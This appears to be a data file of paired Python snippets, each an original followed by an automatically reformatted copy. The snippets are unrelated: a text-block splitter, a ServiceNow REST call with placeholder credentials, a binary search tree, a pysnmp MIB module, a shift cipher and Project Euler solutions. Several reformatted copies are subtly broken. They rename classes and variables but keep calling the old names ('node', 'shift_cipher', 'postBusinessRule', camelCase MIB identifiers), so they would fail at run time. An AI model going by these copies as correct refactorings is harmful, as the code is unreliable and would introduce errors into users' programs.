if i+2 > len(words): # i have no idea why 2 but basically if it's the end of the block and line is shorter that needed, we add it to another block
lines.append(current_line)
blocks.append(lines)
else: # word can't fit in the current line
lines.append(current_line) # add current line to block
current_line = "" + word + " " # reset current line
char_counter = 0 + (len(word) + 1) # add word and 1 space to counter
elif (block_size-1 <= len(lines) <= block_size): # if it's last lines in current block
if any((c in end_line_chars) for c in word): # if .,;:!?- in current word
current_line += word
lines.append(current_line)
blocks.append(lines) # block is now completed, add it to blocks
current_line = "" # reset line
lines = [] # reset block
char_counter = 0 # reset char counter
elif ((char_counter + len(word) + 1) < line_length - 15): # continue looking for .,;:! line is not full
char_counter += len(word) + 1 # add word's len and 1 space to counter
current_line += word + " " # add word and 1 space to line
else:
current_line += word
lines.append(current_line)
blocks.append(lines) # block is completed
current_line = "" # reset line
lines = []
char_counter = 0 # reset char counter
# All blocks are finally created.
return blocks
| end_line_chars = ('.', ',', ';', ':', '!', '?', '-')
def split_into_blocks(text, line_length, block_size):
words = text.strip('\n').split()
current_line = ''
lines = []
blocks = []
char_counter = 0
for (i, word) in enumerate(words):
if len(lines) < block_size - 1:
if char_counter + len(word) + 1 < line_length:
char_counter += len(word) + 1
current_line += word + ' '
if i + 2 > len(words):
lines.append(current_line)
blocks.append(lines)
else:
lines.append(current_line)
current_line = '' + word + ' '
char_counter = 0 + (len(word) + 1)
elif block_size - 1 <= len(lines) <= block_size:
if any((c in end_line_chars for c in word)):
current_line += word
lines.append(current_line)
blocks.append(lines)
current_line = ''
lines = []
char_counter = 0
elif char_counter + len(word) + 1 < line_length - 15:
char_counter += len(word) + 1
current_line += word + ' '
else:
current_line += word
lines.append(current_line)
blocks.append(lines)
current_line = ''
lines = []
char_counter = 0
return blocks |
#Set the request parameters
url = 'https://instanceName.service-now.com/api/now/table/sys_script'
#Eg. User name="username", Password="password" for this code sample.
user = 'yourUserName'
pwd = 'yourPassword'
#Set proper headers
headers = {"Content-Type":"application/json","Accept":"application/json"}
# Set Business Rule
postBusinessRule = "{\r\n \"abort_action\": \"false\",\r\n \"access\": \"package_private\",\r\n \"action_delete\": \"false\",\r\n \"action_insert\": \"true\",\r\n \"action_query\": \"false\",\r\n \"action_update\": \"false\",\r\n \"active\": \"false\",\r\n \"add_message\": \"false\",\r\n \"advanced\": \"true\",\r\n \"change_fields\": \"true\",\r\n \"client_callable\": \"false\",\r\n \"collection\": \"incident\",\r\n \"condition\": [],\r\n \"description\": [],\r\n \"execute_function\": \"false\",\r\n \"filter_condition\": {\r\n \"@table\": \"incident\"\r\n },\r\n \"is_rest\": \"false\",\r\n \"message\": [],\r\n \"name\": \"yourBusinessRuleName\",\r\n \"order\": \"1\",\r\n \"priority\": \"1\",\r\n \"rest_method\": [],\r\n \"rest_method_text\": [],\r\n \"rest_service\": [],\r\n \"rest_service_text\": [],\r\n \"rest_variables\": [],\r\n \"role_conditions\": [],\r\n \"script\": \"(function executeRule(current, previous \/*null when async*\/) {var request = new sn_ws.RESTMessageV2('yourRestAPINameSpace', 'PostApiName'); request.setRequestBody(JSON.stringify()); var response = request.execute(); var responseBody = response.getBody(); var httpStatus = response.getStatusCode();})(current, previous);\",\r\n \"sys_class_name\": \"sys_script\",\r\n \"sys_created_by\": \"admin\",\r\n \"sys_created_on\": \"2020-02-24 17:56:33\",\r\n \"sys_customer_update\": \"false\",\r\n \"sys_domain\": \"global\",\r\n \"sys_domain_path\": \"\/\",\r\n \"sys_id\": \"\",\r\n \"sys_mod_count\": \"1\",\r\n \"sys_name\": \"create test BR\",\r\n \"sys_overrides\": [],\r\n \"sys_package\": {\r\n \"@display_value\": \"Global\",\r\n \"@source\": \"global\",\r\n \"#text\": \"global\"\r\n },\r\n \"sys_policy\": [],\r\n \"sys_replace_on_upgrade\": \"false\",\r\n \"sys_scope\": {\r\n \"@display_value\": \"Global\",\r\n \"#text\": \"global\"\r\n },\r\n \"sys_update_name\": \"sys_script_03edd56b2fc38814e8f955f62799b6e8\",\r\n \"sys_updated_by\": \"admin\",\r\n \"sys_updated_on\": \"2020-02-24 17:58:22\",\r\n \"template\": [],\r\n \"when\": \"after\"\r\n \r\n}"
# Do the HTTP request
response = requests.post(url, auth=(user, pwd), headers=headers ,data=postBusinessRule)
print(response)
# Check for HTTP codes other than 201
if response.status_code == 201:
print(response.text)
exit() | url = 'https://instanceName.service-now.com/api/now/table/sys_script'
user = 'yourUserName'
pwd = 'yourPassword'
headers = {'Content-Type': 'application/json', 'Accept': 'application/json'}
post_business_rule = '{\r\n "abort_action": "false",\r\n "access": "package_private",\r\n "action_delete": "false",\r\n "action_insert": "true",\r\n "action_query": "false",\r\n "action_update": "false",\r\n "active": "false",\r\n "add_message": "false",\r\n "advanced": "true",\r\n "change_fields": "true",\r\n "client_callable": "false",\r\n "collection": "incident",\r\n "condition": [],\r\n "description": [],\r\n "execute_function": "false",\r\n "filter_condition": {\r\n "@table": "incident"\r\n },\r\n "is_rest": "false",\r\n "message": [],\r\n "name": "yourBusinessRuleName",\r\n "order": "1",\r\n "priority": "1",\r\n "rest_method": [],\r\n "rest_method_text": [],\r\n "rest_service": [],\r\n "rest_service_text": [],\r\n "rest_variables": [],\r\n "role_conditions": [],\r\n "script": "(function executeRule(current, previous \\/*null when async*\\/) {var request = new sn_ws.RESTMessageV2(\'yourRestAPINameSpace\', \'PostApiName\'); request.setRequestBody(JSON.stringify()); var response = request.execute(); var responseBody = response.getBody(); var httpStatus = response.getStatusCode();})(current, previous);",\r\n "sys_class_name": "sys_script",\r\n "sys_created_by": "admin",\r\n "sys_created_on": "2020-02-24 17:56:33",\r\n "sys_customer_update": "false",\r\n "sys_domain": "global",\r\n "sys_domain_path": "\\/",\r\n "sys_id": "",\r\n "sys_mod_count": "1",\r\n "sys_name": "create test BR",\r\n "sys_overrides": [],\r\n "sys_package": {\r\n "@display_value": "Global",\r\n "@source": "global",\r\n "#text": "global"\r\n },\r\n "sys_policy": [],\r\n "sys_replace_on_upgrade": "false",\r\n "sys_scope": {\r\n "@display_value": "Global",\r\n "#text": "global"\r\n },\r\n "sys_update_name": "sys_script_03edd56b2fc38814e8f955f62799b6e8",\r\n "sys_updated_by": "admin",\r\n "sys_updated_on": "2020-02-24 17:58:22",\r\n "template": [],\r\n "when": "after"\r\n \r\n}'
response = requests.post(url, auth=(user, pwd), headers=headers, data=postBusinessRule)
print(response)
if response.status_code == 201:
print(response.text)
exit() |
{
'targets' : [{
'variables': {
'lib_root' : '../libio',
},
'target_name' : 'fake',
'sources' : [
],
'dependencies' : [
'./export.gyp:export',
],
}]
}
| {'targets': [{'variables': {'lib_root': '../libio'}, 'target_name': 'fake', 'sources': [], 'dependencies': ['./export.gyp:export']}]} |
#!/usr/bin/env python3
"""Binary Search Tree."""
class Node:
"""Node for Binary Tree."""
def __init__(self, value, left=None, right=None, root=True):
"""Node for Binary Search Tree.
value - Value to be stored in the tree node.
left node - default value is None.
right node - default value is None.
root - default value is True.
"""
self.value = value
self.left = left
self.right = right
self.root = root
def insert(self, value):
"""Insert new value into BST."""
if self.value:
# Determine left or right insertion
if value < self.value:
if self.left is None:
self.left = Node(value, root=False)
else:
self.left.insert(value)
if value > self.value:
if self.right is None:
self.right = Node(value, root=False)
else:
self.right.insert(value)
else:
self.value = value
def find(self, value):
"""Find value in BST."""
if value < self.value:
if self.left is None:
return "Not found."
return self.left.find(value)
elif value > self.value:
if self.right is None:
return "Not found."
return self.right.find(value)
else:
print(self.value, "Found")
def print_tree(self):
"""Print the BST."""
if self.left:
self.left.print_tree()
print(self.value)
if self.right:
self.right.print_tree()
if __name__ == "__main__":
root = Node(12)
root.insert(6)
root.insert(14)
root.insert(3)
root.print_tree()
| """Binary Search Tree."""
class Node:
"""Node for Binary Tree."""
def __init__(self, value, left=None, right=None, root=True):
"""Node for Binary Search Tree.
value - Value to be stored in the tree node.
left node - default value is None.
right node - default value is None.
root - default value is True.
"""
self.value = value
self.left = left
self.right = right
self.root = root
def insert(self, value):
"""Insert new value into BST."""
if self.value:
if value < self.value:
if self.left is None:
self.left = node(value, root=False)
else:
self.left.insert(value)
if value > self.value:
if self.right is None:
self.right = node(value, root=False)
else:
self.right.insert(value)
else:
self.value = value
def find(self, value):
"""Find value in BST."""
if value < self.value:
if self.left is None:
return 'Not found.'
return self.left.find(value)
elif value > self.value:
if self.right is None:
return 'Not found.'
return self.right.find(value)
else:
print(self.value, 'Found')
def print_tree(self):
"""Print the BST."""
if self.left:
self.left.print_tree()
print(self.value)
if self.right:
self.right.print_tree()
if __name__ == '__main__':
root = node(12)
root.insert(6)
root.insert(14)
root.insert(3)
root.print_tree() |
#
# PySNMP MIB module AT-PVSTPM-MIB (http://snmplabs.com/pysmi)
# ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/AT-PVSTPM-MIB
# Produced by pysmi-0.3.4 at Wed May 1 11:30:33 2019
# On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4
# Using Python version 3.7.3 (default, Mar 27 2019, 09:23:15)
#
OctetString, ObjectIdentifier, Integer = mibBuilder.importSymbols("ASN1", "OctetString", "ObjectIdentifier", "Integer")
NamedValues, = mibBuilder.importSymbols("ASN1-ENUMERATION", "NamedValues")
SingleValueConstraint, ValueSizeConstraint, ValueRangeConstraint, ConstraintsUnion, ConstraintsIntersection = mibBuilder.importSymbols("ASN1-REFINEMENT", "SingleValueConstraint", "ValueSizeConstraint", "ValueRangeConstraint", "ConstraintsUnion", "ConstraintsIntersection")
modules, = mibBuilder.importSymbols("AT-SMI-MIB", "modules")
VlanIndex, = mibBuilder.importSymbols("Q-BRIDGE-MIB", "VlanIndex")
ModuleCompliance, NotificationGroup = mibBuilder.importSymbols("SNMPv2-CONF", "ModuleCompliance", "NotificationGroup")
IpAddress, iso, Integer32, Counter32, TimeTicks, ObjectIdentity, Gauge32, Unsigned32, MibScalar, MibTable, MibTableRow, MibTableColumn, ModuleIdentity, Bits, Counter64, MibIdentifier, NotificationType = mibBuilder.importSymbols("SNMPv2-SMI", "IpAddress", "iso", "Integer32", "Counter32", "TimeTicks", "ObjectIdentity", "Gauge32", "Unsigned32", "MibScalar", "MibTable", "MibTableRow", "MibTableColumn", "ModuleIdentity", "Bits", "Counter64", "MibIdentifier", "NotificationType")
DisplayString, TextualConvention = mibBuilder.importSymbols("SNMPv2-TC", "DisplayString", "TextualConvention")
pvstpm = ModuleIdentity((1, 3, 6, 1, 4, 1, 207, 8, 4, 4, 4, 140))
pvstpm.setRevisions(('2006-03-29 16:51',))
if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0):
if mibBuilder.loadTexts: pvstpm.setRevisionsDescriptions(('Initial revision',))
if mibBuilder.loadTexts: pvstpm.setLastUpdated('200603291651Z')
if mibBuilder.loadTexts: pvstpm.setOrganization('Allied Telesis, Inc')
if mibBuilder.loadTexts: pvstpm.setContactInfo('http://www.alliedtelesis.com')
if mibBuilder.loadTexts: pvstpm.setDescription('The MIB module for managing PVSTPM enterprise functionality on Allied Telesis switches. ')
pvstpmEvents = MibIdentifier((1, 3, 6, 1, 4, 1, 207, 8, 4, 4, 4, 140, 0))
pvstpmEventVariables = MibIdentifier((1, 3, 6, 1, 4, 1, 207, 8, 4, 4, 4, 140, 1))
pvstpmBridgeId = MibScalar((1, 3, 6, 1, 4, 1, 207, 8, 4, 4, 4, 140, 1, 1), OctetString()).setMaxAccess("accessiblefornotify")
if mibBuilder.loadTexts: pvstpmBridgeId.setStatus('current')
if mibBuilder.loadTexts: pvstpmBridgeId.setDescription('The bridge identifier for the bridge that sent the trap.')
pvstpmTopologyChangeVlan = MibScalar((1, 3, 6, 1, 4, 1, 207, 8, 4, 4, 4, 140, 1, 2), VlanIndex()).setMaxAccess("accessiblefornotify")
if mibBuilder.loadTexts: pvstpmTopologyChangeVlan.setStatus('current')
if mibBuilder.loadTexts: pvstpmTopologyChangeVlan.setDescription('The VLAN ID of the vlan that has experienced a topology change.')
pvstpmRxPort = MibScalar((1, 3, 6, 1, 4, 1, 207, 8, 4, 4, 4, 140, 1, 3), Integer32()).setMaxAccess("accessiblefornotify")
if mibBuilder.loadTexts: pvstpmRxPort.setStatus('current')
if mibBuilder.loadTexts: pvstpmRxPort.setDescription('The port the inconsistent BPDU was received on.')
pvstpmRxVlan = MibScalar((1, 3, 6, 1, 4, 1, 207, 8, 4, 4, 4, 140, 1, 4), VlanIndex()).setMaxAccess("accessiblefornotify")
if mibBuilder.loadTexts: pvstpmRxVlan.setStatus('current')
if mibBuilder.loadTexts: pvstpmRxVlan.setDescription('The vlan the inconsistent BPDU was received on.')
pvstpmTxVlan = MibScalar((1, 3, 6, 1, 4, 1, 207, 8, 4, 4, 4, 140, 1, 5), VlanIndex()).setMaxAccess("accessiblefornotify")
if mibBuilder.loadTexts: pvstpmTxVlan.setStatus('current')
if mibBuilder.loadTexts: pvstpmTxVlan.setDescription('The vlan the inconsistent BPDU was transmitted on.')
pvstpmTopologyChange = NotificationType((1, 3, 6, 1, 4, 1, 207, 8, 4, 4, 4, 140, 0, 1)).setObjects(("AT-PVSTPM-MIB", "pvstpmBridgeId"), ("AT-PVSTPM-MIB", "pvstpmTopologyChangeVlan"))
if mibBuilder.loadTexts: pvstpmTopologyChange.setStatus('current')
if mibBuilder.loadTexts: pvstpmTopologyChange.setDescription('A pvstpmTopologyChange trap signifies that a topology change has occurred on the specified VLAN')
pvstpmInconsistentBPDU = NotificationType((1, 3, 6, 1, 4, 1, 207, 8, 4, 4, 4, 140, 0, 2)).setObjects(("AT-PVSTPM-MIB", "pvstpmBridgeId"), ("AT-PVSTPM-MIB", "pvstpmRxPort"), ("AT-PVSTPM-MIB", "pvstpmRxVlan"), ("AT-PVSTPM-MIB", "pvstpmTxVlan"))
if mibBuilder.loadTexts: pvstpmInconsistentBPDU.setStatus('current')
if mibBuilder.loadTexts: pvstpmInconsistentBPDU.setDescription('A pvstpmInconsistentBPDU trap signifies that an inconsistent PVSTPM packet has been received on a port.')
mibBuilder.exportSymbols("AT-PVSTPM-MIB", pvstpmBridgeId=pvstpmBridgeId, pvstpmRxVlan=pvstpmRxVlan, pvstpmTxVlan=pvstpmTxVlan, pvstpm=pvstpm, pvstpmEventVariables=pvstpmEventVariables, pvstpmTopologyChangeVlan=pvstpmTopologyChangeVlan, pvstpmEvents=pvstpmEvents, pvstpmTopologyChange=pvstpmTopologyChange, PYSNMP_MODULE_ID=pvstpm, pvstpmInconsistentBPDU=pvstpmInconsistentBPDU, pvstpmRxPort=pvstpmRxPort)
| (octet_string, object_identifier, integer) = mibBuilder.importSymbols('ASN1', 'OctetString', 'ObjectIdentifier', 'Integer')
(named_values,) = mibBuilder.importSymbols('ASN1-ENUMERATION', 'NamedValues')
(single_value_constraint, value_size_constraint, value_range_constraint, constraints_union, constraints_intersection) = mibBuilder.importSymbols('ASN1-REFINEMENT', 'SingleValueConstraint', 'ValueSizeConstraint', 'ValueRangeConstraint', 'ConstraintsUnion', 'ConstraintsIntersection')
(modules,) = mibBuilder.importSymbols('AT-SMI-MIB', 'modules')
(vlan_index,) = mibBuilder.importSymbols('Q-BRIDGE-MIB', 'VlanIndex')
(module_compliance, notification_group) = mibBuilder.importSymbols('SNMPv2-CONF', 'ModuleCompliance', 'NotificationGroup')
(ip_address, iso, integer32, counter32, time_ticks, object_identity, gauge32, unsigned32, mib_scalar, mib_table, mib_table_row, mib_table_column, module_identity, bits, counter64, mib_identifier, notification_type) = mibBuilder.importSymbols('SNMPv2-SMI', 'IpAddress', 'iso', 'Integer32', 'Counter32', 'TimeTicks', 'ObjectIdentity', 'Gauge32', 'Unsigned32', 'MibScalar', 'MibTable', 'MibTableRow', 'MibTableColumn', 'ModuleIdentity', 'Bits', 'Counter64', 'MibIdentifier', 'NotificationType')
(display_string, textual_convention) = mibBuilder.importSymbols('SNMPv2-TC', 'DisplayString', 'TextualConvention')
pvstpm = module_identity((1, 3, 6, 1, 4, 1, 207, 8, 4, 4, 4, 140))
pvstpm.setRevisions(('2006-03-29 16:51',))
if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0):
if mibBuilder.loadTexts:
pvstpm.setRevisionsDescriptions(('Initial revision',))
if mibBuilder.loadTexts:
pvstpm.setLastUpdated('200603291651Z')
if mibBuilder.loadTexts:
pvstpm.setOrganization('Allied Telesis, Inc')
if mibBuilder.loadTexts:
pvstpm.setContactInfo('http://www.alliedtelesis.com')
if mibBuilder.loadTexts:
pvstpm.setDescription('The MIB module for managing PVSTPM enterprise functionality on Allied Telesis switches. ')
pvstpm_events = mib_identifier((1, 3, 6, 1, 4, 1, 207, 8, 4, 4, 4, 140, 0))
pvstpm_event_variables = mib_identifier((1, 3, 6, 1, 4, 1, 207, 8, 4, 4, 4, 140, 1))
pvstpm_bridge_id = mib_scalar((1, 3, 6, 1, 4, 1, 207, 8, 4, 4, 4, 140, 1, 1), octet_string()).setMaxAccess('accessiblefornotify')
if mibBuilder.loadTexts:
pvstpmBridgeId.setStatus('current')
if mibBuilder.loadTexts:
pvstpmBridgeId.setDescription('The bridge identifier for the bridge that sent the trap.')
pvstpm_topology_change_vlan = mib_scalar((1, 3, 6, 1, 4, 1, 207, 8, 4, 4, 4, 140, 1, 2), vlan_index()).setMaxAccess('accessiblefornotify')
if mibBuilder.loadTexts:
pvstpmTopologyChangeVlan.setStatus('current')
if mibBuilder.loadTexts:
pvstpmTopologyChangeVlan.setDescription('The VLAN ID of the vlan that has experienced a topology change.')
pvstpm_rx_port = mib_scalar((1, 3, 6, 1, 4, 1, 207, 8, 4, 4, 4, 140, 1, 3), integer32()).setMaxAccess('accessiblefornotify')
if mibBuilder.loadTexts:
pvstpmRxPort.setStatus('current')
if mibBuilder.loadTexts:
pvstpmRxPort.setDescription('The port the inconsistent BPDU was received on.')
pvstpm_rx_vlan = mib_scalar((1, 3, 6, 1, 4, 1, 207, 8, 4, 4, 4, 140, 1, 4), vlan_index()).setMaxAccess('accessiblefornotify')
if mibBuilder.loadTexts:
pvstpmRxVlan.setStatus('current')
if mibBuilder.loadTexts:
pvstpmRxVlan.setDescription('The vlan the inconsistent BPDU was received on.')
pvstpm_tx_vlan = mib_scalar((1, 3, 6, 1, 4, 1, 207, 8, 4, 4, 4, 140, 1, 5), vlan_index()).setMaxAccess('accessiblefornotify')
if mibBuilder.loadTexts:
pvstpmTxVlan.setStatus('current')
if mibBuilder.loadTexts:
pvstpmTxVlan.setDescription('The vlan the inconsistent BPDU was transmitted on.')
pvstpm_topology_change = notification_type((1, 3, 6, 1, 4, 1, 207, 8, 4, 4, 4, 140, 0, 1)).setObjects(('AT-PVSTPM-MIB', 'pvstpmBridgeId'), ('AT-PVSTPM-MIB', 'pvstpmTopologyChangeVlan'))
if mibBuilder.loadTexts:
pvstpmTopologyChange.setStatus('current')
if mibBuilder.loadTexts:
pvstpmTopologyChange.setDescription('A pvstpmTopologyChange trap signifies that a topology change has occurred on the specified VLAN')
pvstpm_inconsistent_bpdu = notification_type((1, 3, 6, 1, 4, 1, 207, 8, 4, 4, 4, 140, 0, 2)).setObjects(('AT-PVSTPM-MIB', 'pvstpmBridgeId'), ('AT-PVSTPM-MIB', 'pvstpmRxPort'), ('AT-PVSTPM-MIB', 'pvstpmRxVlan'), ('AT-PVSTPM-MIB', 'pvstpmTxVlan'))
if mibBuilder.loadTexts:
pvstpmInconsistentBPDU.setStatus('current')
if mibBuilder.loadTexts:
pvstpmInconsistentBPDU.setDescription('A pvstpmInconsistentBPDU trap signifies that an inconsistent PVSTPM packet has been received on a port.')
mibBuilder.exportSymbols('AT-PVSTPM-MIB', pvstpmBridgeId=pvstpmBridgeId, pvstpmRxVlan=pvstpmRxVlan, pvstpmTxVlan=pvstpmTxVlan, pvstpm=pvstpm, pvstpmEventVariables=pvstpmEventVariables, pvstpmTopologyChangeVlan=pvstpmTopologyChangeVlan, pvstpmEvents=pvstpmEvents, pvstpmTopologyChange=pvstpmTopologyChange, PYSNMP_MODULE_ID=pvstpm, pvstpmInconsistentBPDU=pvstpmInconsistentBPDU, pvstpmRxPort=pvstpmRxPort) |
class ShiftCipher:
def __init__(self, affineMultiplier, constantShift):
self.affineMultiplier = affineMultiplier
self.constantShift = constantShift
def encode(self, messageInList):
for i in range(len(messageInList)):
if ord(messageInList[i])!=32:
messageInList[i] = chr((self.affineMultiplier*ord(messageInList[i])%65+self.constantShift)%25+65)
return(messageInList)
message = list(input("Insert the message you want to encrypt in all caps: "))
MyCipher = ShiftCipher(1,10)
print("The encrypted message is:")
print(''.join(MyCipher.encode(message)))
| class Shiftcipher:
def __init__(self, affineMultiplier, constantShift):
self.affineMultiplier = affineMultiplier
self.constantShift = constantShift
def encode(self, messageInList):
for i in range(len(messageInList)):
if ord(messageInList[i]) != 32:
messageInList[i] = chr((self.affineMultiplier * ord(messageInList[i]) % 65 + self.constantShift) % 25 + 65)
return messageInList
message = list(input('Insert the message you want to encrypt in all caps: '))
my_cipher = shift_cipher(1, 10)
print('The encrypted message is:')
print(''.join(MyCipher.encode(message))) |
all_nums = []
for i in range(10, 1000000):
total = 0
for l in str(i):
total += int(l) ** 5
if int(total) == int(i):
all_nums.append(int(total))
print(sum(all_nums)) | all_nums = []
for i in range(10, 1000000):
total = 0
for l in str(i):
total += int(l) ** 5
if int(total) == int(i):
all_nums.append(int(total))
print(sum(all_nums)) |
def do(self):
self.components.Open.label="Open"
self.components.Delete.label="Delete"
self.components.Duplicate.label="Duplicate"
self.components.Run.label="Run"
self.components.Files.text="Files"
self.components.Call.label="Call"
| def do(self):
self.components.Open.label = 'Open'
self.components.Delete.label = 'Delete'
self.components.Duplicate.label = 'Duplicate'
self.components.Run.label = 'Run'
self.components.Files.text = 'Files'
self.components.Call.label = 'Call' |
# 3rd question
# 12 se 421 takkk k sare no. ka sum print kre.
# akshra=12
# sum=0
# while akshra<=421:
# sum=sum+akshra
# print(s)
# akshra=akshra+1
# 4th question
# 30 se 420 se vo no. print kro jo 8 se devied ho
# var=30
# while var<=420:
# if var%8==0:
# print(var)
# var+=1
# var1=1
# sum=0
# while var1<=11:
# n=int(input("enter no."))
# if n%5==0:
# n=n+var1
# print(n)
# var1=var1+1
# 6TH QUESTION
#
# 7TH ,AND , 8TH QUESTION
# GUESSING GAME BNAAOOOO
# var1=int(input("enter the no."))
# var2=int(input("enter no."))
# while var1!=0:
# num=var1*var2
# print(num)
# num=num+1
n = 6
s = 0
i = 1
while i <= n:
s = s + i
i = i + 1
print (s)
| n = 6
s = 0
i = 1
while i <= n:
s = s + i
i = i + 1
print(s) |
# Copyright (C) 2018 Google Inc.
# Licensed under http://www.apache.org/licenses/LICENSE-2.0 <see LICENSE file>
"""Module contains Access Control Role names related to TaskGroupTask model."""
ASSIGNEE_NAME = "Task Assignees"
SECONDARY_ASSIGNEE_NAME = "Task Secondary Assignees"
| """Module contains Access Control Role names related to TaskGroupTask model."""
assignee_name = 'Task Assignees'
secondary_assignee_name = 'Task Secondary Assignees' |
# Project Euler Problem 5
######################################
# Find smallest pos number that is
# evenly divisible by all numbers from
# 1 to 20
######################################
#essentially getting the lcm of several numbers
# formula for lcm is lcm(a,b) = a*b / gcd(a,b)
def gcd(a, b):
assert type(a) is int, "arg1 non int"
assert type(b) is int, "arg2 non int"
#just do Euclidean algorithm
if a < b:
while a:
b, a = a, b%a
return b
else:
while b:
a, b = b, a%b
return a
def gcd_test():
print(gcd(1, 1))
print(gcd(5, 35))
print(gcd(21, 56))
print(gcd(27, 9))
return
def lcm(a, b):
return a*b//gcd(a,b)
def mult_lcm(num_list):
#initialize prev
prev = 1
for i in range(0, len(num_list) - 1):
if i == 0:
a = num_list[0]
b = num_list[i+1]
a = lcm(a, b)
return a
def main():
print(mult_lcm(range(1, 21)))
return
#test
main()
| def gcd(a, b):
assert type(a) is int, 'arg1 non int'
assert type(b) is int, 'arg2 non int'
if a < b:
while a:
(b, a) = (a, b % a)
return b
else:
while b:
(a, b) = (b, a % b)
return a
def gcd_test():
print(gcd(1, 1))
print(gcd(5, 35))
print(gcd(21, 56))
print(gcd(27, 9))
return
def lcm(a, b):
return a * b // gcd(a, b)
def mult_lcm(num_list):
prev = 1
for i in range(0, len(num_list) - 1):
if i == 0:
a = num_list[0]
b = num_list[i + 1]
a = lcm(a, b)
return a
def main():
print(mult_lcm(range(1, 21)))
return
main() |
print('hello world')
print("hello world")
print("hello \nworld")
print("hello \tworld")
print('length=',len('hello')) # len returns the length of the string
mystring="python" # assigning value python to variable mystring
print(mystring) # it returns python
# Indexing
print('the element at Index[0]=',mystring[0]) # it returns 'p' because P is at 0
print('the element at Index[3]=',mystring[3]) # it returns 'h'
# Slicing
print('the elements starting at Index[0] and it goes upto Index[4]',mystring[0:4])
# it returns 'pyth'In slicing it goes upto but not include
print('start at Index[3] and goes upto Index[5]',mystring[3:5]) # it returns 'ho'
print(mystring[::2]) # it returns 'pto' | print('hello world')
print('hello world')
print('hello \nworld')
print('hello \tworld')
print('length=', len('hello'))
mystring = 'python'
print(mystring)
print('the element at Index[0]=', mystring[0])
print('the element at Index[3]=', mystring[3])
print('the elements starting at Index[0] and it goes upto Index[4]', mystring[0:4])
print('start at Index[3] and goes upto Index[5]', mystring[3:5])
print(mystring[::2]) |
# -*- coding: utf-8 -*-
def main():
a, b = map(int, input().split())
if a + 0.5 - b > 0:
print(1)
else:
print(0)
if __name__ == '__main__':
main()
| def main():
(a, b) = map(int, input().split())
if a + 0.5 - b > 0:
print(1)
else:
print(0)
if __name__ == '__main__':
main() |
"""This file is imported in both train.py and predict.py
to find the models path.
"""
# root directory to save models
## for running locally
MODELS_DIR = "models"
## for remote deploy
# MODELS_DIR = "/volumes/data"
| """This file is imported in both train.py and predict.py
to find the models path.
"""
models_dir = 'models' |
values = input("Please fill value:")
result = []
for value in values :
if str(value).isdigit() :
dec = int(value)
if dec % 2 != 0 :
result.append(dec)
print(result)
print(len(result)) | values = input('Please fill value:')
result = []
for value in values:
if str(value).isdigit():
dec = int(value)
if dec % 2 != 0:
result.append(dec)
print(result)
print(len(result)) |
class ClientException(Exception):
"""The base exception for everything to do with clients."""
message = None
def __init__(self, status_code=None, message=None):
self.status_code = status_code
if not message:
if self.message:
message = self.message
else:
message = self.__class__.__name__
super(Exception, self).__init__(message)
| class Clientexception(Exception):
"""The base exception for everything to do with clients."""
message = None
def __init__(self, status_code=None, message=None):
self.status_code = status_code
if not message:
if self.message:
message = self.message
else:
message = self.__class__.__name__
super(Exception, self).__init__(message) |
class Instrument:
def __init__(self,
exchange_name,
instmt_name,
instmt_code,
**param):
self.exchange_name = exchange_name
self.instmt_name = instmt_name
self.instmt_code = instmt_code
self.instmt_snapshot_table_name = ''
def get_exchange_name(self):
return self.exchange_name
def get_instmt_name(self):
return self.instmt_name
def get_instmt_code(self):
return self.instmt_code
def get_instmt_snapshot_table_name(self):
return self.instmt_snapshot_table_name
def set_instmt_snapshot_table_name(self, instmt_snapshot_table_name):
self.instmt_snapshot_table_name = instmt_snapshot_table_name | class Instrument:
def __init__(self, exchange_name, instmt_name, instmt_code, **param):
self.exchange_name = exchange_name
self.instmt_name = instmt_name
self.instmt_code = instmt_code
self.instmt_snapshot_table_name = ''
def get_exchange_name(self):
return self.exchange_name
def get_instmt_name(self):
return self.instmt_name
def get_instmt_code(self):
return self.instmt_code
def get_instmt_snapshot_table_name(self):
return self.instmt_snapshot_table_name
def set_instmt_snapshot_table_name(self, instmt_snapshot_table_name):
self.instmt_snapshot_table_name = instmt_snapshot_table_name |
class NoProjectYaml(Exception):
pass
class NoDockerfile(Exception):
pass
class CheckCallFailed(Exception):
pass
class WaitLinkFailed(Exception):
pass
| class Noprojectyaml(Exception):
pass
class Nodockerfile(Exception):
pass
class Checkcallfailed(Exception):
pass
class Waitlinkfailed(Exception):
pass |
class Role:
def __init__(self, data):
self.data = data
@property
def id(self):
return self.data["id"]
@property
def name(self):
return self.data["name"]
@classmethod
def from_dict(cls, data):
return cls(data)
| class Role:
def __init__(self, data):
self.data = data
@property
def id(self):
return self.data['id']
@property
def name(self):
return self.data['name']
@classmethod
def from_dict(cls, data):
return cls(data) |
__author__ = "Abdul Dakkak"
__email__ = "dakkak@illinois.edu"
__license__ = "Apache 2.0"
__version__ = "0.2.4"
| __author__ = 'Abdul Dakkak'
__email__ = 'dakkak@illinois.edu'
__license__ = 'Apache 2.0'
__version__ = '0.2.4' |
# -*- coding: utf-8 -*-
# -----------------------------------------------------------------------------
#
# FreeType high-level python API - Copyright 2011-2015 Nicolas P. Rougier
# Distributed under the terms of the new BSD license.
#
# -----------------------------------------------------------------------------
"""
An enumeration type that lists the render modes supported by FreeType 2. Each
mode corresponds to a specific type of scanline conversion performed on the
outline.
FT_PIXEL_MODE_NONE
Value 0 is reserved.
FT_PIXEL_MODE_MONO
A monochrome bitmap, using 1 bit per pixel. Note that pixels are stored in
most-significant order (MSB), which means that the left-most pixel in a byte
has value 128.
FT_PIXEL_MODE_GRAY
An 8-bit bitmap, generally used to represent anti-aliased glyph images. Each
pixel is stored in one byte. Note that the number of 'gray' levels is stored
in the 'num_grays' field of the FT_Bitmap structure (it generally is 256).
FT_PIXEL_MODE_GRAY2
A 2-bit per pixel bitmap, used to represent embedded anti-aliased bitmaps in
font files according to the OpenType specification. We haven't found a single
font using this format, however.
FT_PIXEL_MODE_GRAY4
A 4-bit per pixel bitmap, representing embedded anti-aliased bitmaps in font
files according to the OpenType specification. We haven't found a single font
using this format, however.
FT_PIXEL_MODE_LCD
An 8-bit bitmap, representing RGB or BGR decimated glyph images used for
display on LCD displays; the bitmap is three times wider than the original
glyph image. See also FT_RENDER_MODE_LCD.
FT_PIXEL_MODE_LCD_V
An 8-bit bitmap, representing RGB or BGR decimated glyph images used for
